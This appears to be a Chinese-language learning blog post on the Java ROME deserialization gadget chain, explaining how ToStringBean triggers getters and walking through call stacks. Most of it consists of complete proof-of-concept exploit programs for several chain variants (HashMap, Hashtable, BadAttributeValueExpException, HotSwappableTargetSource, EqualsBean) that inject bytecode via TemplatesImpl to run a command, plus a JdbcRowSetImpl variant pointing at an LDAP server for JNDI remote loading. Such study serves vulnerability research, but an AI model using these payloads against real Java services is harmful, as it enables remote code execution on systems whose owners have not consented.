Rome 链
ROME 是一个用于 RSS 和 Atom 订阅的 Java 框架。它是开源的,并根据 Apache 2.0 许可授权。
ROME 包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的 Java 对象,或者是通用的规范化 SyndFeed 类,让您可以处理数据,而无需考虑传入或传出的 feed 类型。
1 2 3 4 5 <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0 </version> </dependency>
学习这个主要是为后续触发getter方法做准备
ObjectBean、EqualsBean、ToStringBean
都是可利用类
在ToStringBean的toString方法中,大致意思就是传递一个类,获取该类的set或者get方法,并且能够使用invoke调用
启动位置:
ObjetBean.hashCode()
Rome 链的核心在于 ToStringBean#toString(String) 方法会调用一个类的所有公共 getter 和 setter 方法,于是我们让他来调用 TemplatesImpl#getOutputProperties() 方法。
然后就是在fastJson中也能用的老链TemplatesImpl 加载恶意字节码了~
核心调用栈
1 2 3 4 5 6 7 8 TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() ObjetBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)
HashMap链
核心在 ToStringBean
调用链分析很简单,没有啥大坑,直接写poc咯~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package me.eviden;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;public class Main { public static void main (String[] args) throws Exception{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("dddd" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = payload.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); setFiled(templateImpl, "_bytecodes" , new byte [][]{bytes}); setFiled(templateImpl, "_name" , "test" ); setFiled(templateImpl, "_tfactory" , null ); ToStringBean toStringBean = new ToStringBean (Templates.class, templateImpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(objectBean, "aaaa" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ObjectBean.bin" )); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("ObjectBean.bin" )); objectInputStream.readObject(); objectInputStream.close(); } public static void setFiled (Object o, String fieldname, Object value) throws Exception { Field field = o.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(o, value); } }
HashTable利用链
1 2 3 4 5 6 7 8 TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() ObjetBean.hashCode() HashTable.reconstitutionPut() HashTable.readObject(ObjectInputStream)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package me.eviden;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import me.eviden.util.util;import javax.xml.transform.Templates;import java.util.Hashtable;public class HashTablePoc { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass ctClass = classPool.makeClass("HashTablePoc" ); ctClass.setSuperclass(classPool.get(AbstractTranslet)); ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); util.setFiled(templateImpl,"_bytecodes" , new byte [][]{bytes}); util.setFiled(templateImpl,"_name" , "test" ); util.setFiled(templateImpl,"_tfactory" ,null ); ToStringBean toStringBean = new ToStringBean (Templates.class, templateImpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); Hashtable hashtable = new Hashtable (); hashtable.put(objectBean,"hacker" ); util.serilize(hashtable,"ser.bin" ); util.unserilize("ser.bin" ); } }
BadAttributeValueExpException利用链
1 2 3 4 TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() BadAttributeValueExpException.readObject()
这个应该是最简单的链了~,首推,也是存在于jdk自带的包
重写了readObject函数然后自动调用了toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
注意它的构造方法
1 2 3 public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); }
这个地方不能直接通过实例化对象的时候构造方法传过去我们的恶意ToStringBean
,因为它会先转toString()
再把结果赋值给this.val,
这样反序列化的时候就不会再触发了,因此我们可以用反射来绕过~
1 2 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null );util.setFiled(badAttributeValueExpException, "val" , toStringBean);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package me.eviden;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import me.eviden.util.util;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;public class BadAttributeValueExpExceptionPoc { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass ctClass = classPool.makeClass("HashTablePoc" ); ctClass.setSuperclass(classPool.get(AbstractTranslet)); ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); util.setFiled(templateImpl,"_bytecodes" , new byte [][]{bytes}); util.setFiled(templateImpl,"_name" , "test" ); util.setFiled(templateImpl,"_tfactory" ,null ); ToStringBean toStringBean = new ToStringBean (Templates.class, templateImpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); util.setFiled(badAttributeValueExpException, "val" , toStringBean); util.serilize(badAttributeValueExpException,"ser.bin" ); util.unserilize("ser.bin" ); } }
HotSwappableTargetSource利用链
需要额外依赖
1 2 3 4 5 <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.2 .7 .RELEASE</version> </dependency>
核心在
package com.sun.org.apache.xpath.internal.objects.XString#equals(Object obj2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public boolean equals (Object obj2) { if (null == obj2) return false ; else if (obj2 instanceof XNodeSet) return obj2.equals(this ); else if (obj2 instanceof XNumber) return obj2.equals(this ); else return str().equals(obj2.toString()); }
验证可行性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("dddd" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = payload.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); util.setField(templateImpl, "_bytecodes" , new byte [][]{bytes}); util.setField(templateImpl, "_name" , "test" ); util.setField(templateImpl, "_translet" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class, templateImpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); XString tt = new XString ("tt" ); tt.equals(toStringBean);
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package me.eviden;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import me.eviden.util.util;import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;public class HotSwappableTargetSourcePoc { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("dddd" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = payload.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); util.setField(templateImpl, "_bytecodes" , new byte [][]{bytes}); util.setField(templateImpl, "_name" , "test" ); util.setField(templateImpl, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class, templateImpl); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource (toStringBean); HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource (new XString ("aaa" )); java.util.HashMap hashMap = new java .util.HashMap<Object,Object>(); hashMap.put(targetSource1, "111" ); hashMap.put(targetSource2, "222" ); util.serilize(hashMap,"ser.bin" ); util.unserilize("ser.bin" ); } }
JdbcRowSetImpl利用链
跟fastJson
中出现一样的链,因为都是触发的getter
方法.只是fastJson中要求更高点
配合个jndi进去就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package me.eviden;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import me.eviden.util.util;import javax.sql.rowset.BaseRowSet;import java.lang.reflect.Field;import java.util.HashMap;public class JdbcRowSetImplPoc { public static void main (String[] args) throws Exception { String url = "ldap://192.168.0.111:1389/uaj4pd" ; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); Field dataSource = BaseRowSet.class.getDeclaredField("dataSource" ); dataSource.setAccessible(true ); dataSource.set(jdbcRowSet, url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); ObjectBean objectBean = new ObjectBean (ToStringBean.class, toStringBean); HashMap hashMap = new HashMap (); hashMap.put(objectBean, "bbbb" ); util.serilize(hashMap, "JdbcRowSetImpl.bin" ); util.unserilize("JdbcRowSetImpl.bin" ); } }
EqualsBean利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package me.eviden;import com.sun.syndication.feed.impl.EqualsBean;import javassist.ClassPool;import javassist.CtClass;import me.eviden.util.util;import javax.xml.transform.Templates;import java.util.HashMap;import java.util.HashSet;public class EqualsBeanPoc { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass ctClass = classPool.makeClass("cccc" ); ctClass.setSuperclass(classPool.get(AbstractTranslet)); ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); util.setField(templateImpl, "_bytecodes" , new byte [][]{bytes}); util.setField(templateImpl, "_name" , "test" ); util.setField(templateImpl, "_tfactory" , null ); EqualsBean bean = new EqualsBean (String.class, "s" ); HashMap map1 = new HashMap (); HashMap map2 = new HashMap (); map1.put("yy" , bean); map1.put("zZ" , templateImpl); map2.put("zZ" , bean); map2.put("yy" , templateImpl); HashSet table = new HashSet (); table.add(map1); table.add(map2); util.setField(bean, "_beanClass" , Templates.class); util.setField(bean, "_obj" , templateImpl); util.serilize(table,"ser.bin" ); util.unserilize("ser.bin" ); } }
注 :这里的HashMap、HashSet、HashTable都可以相互替换
这里几个put操作详情可以看之前的操作: cc5+cc7链学习 调试也是越来越顺手了哈,继续加油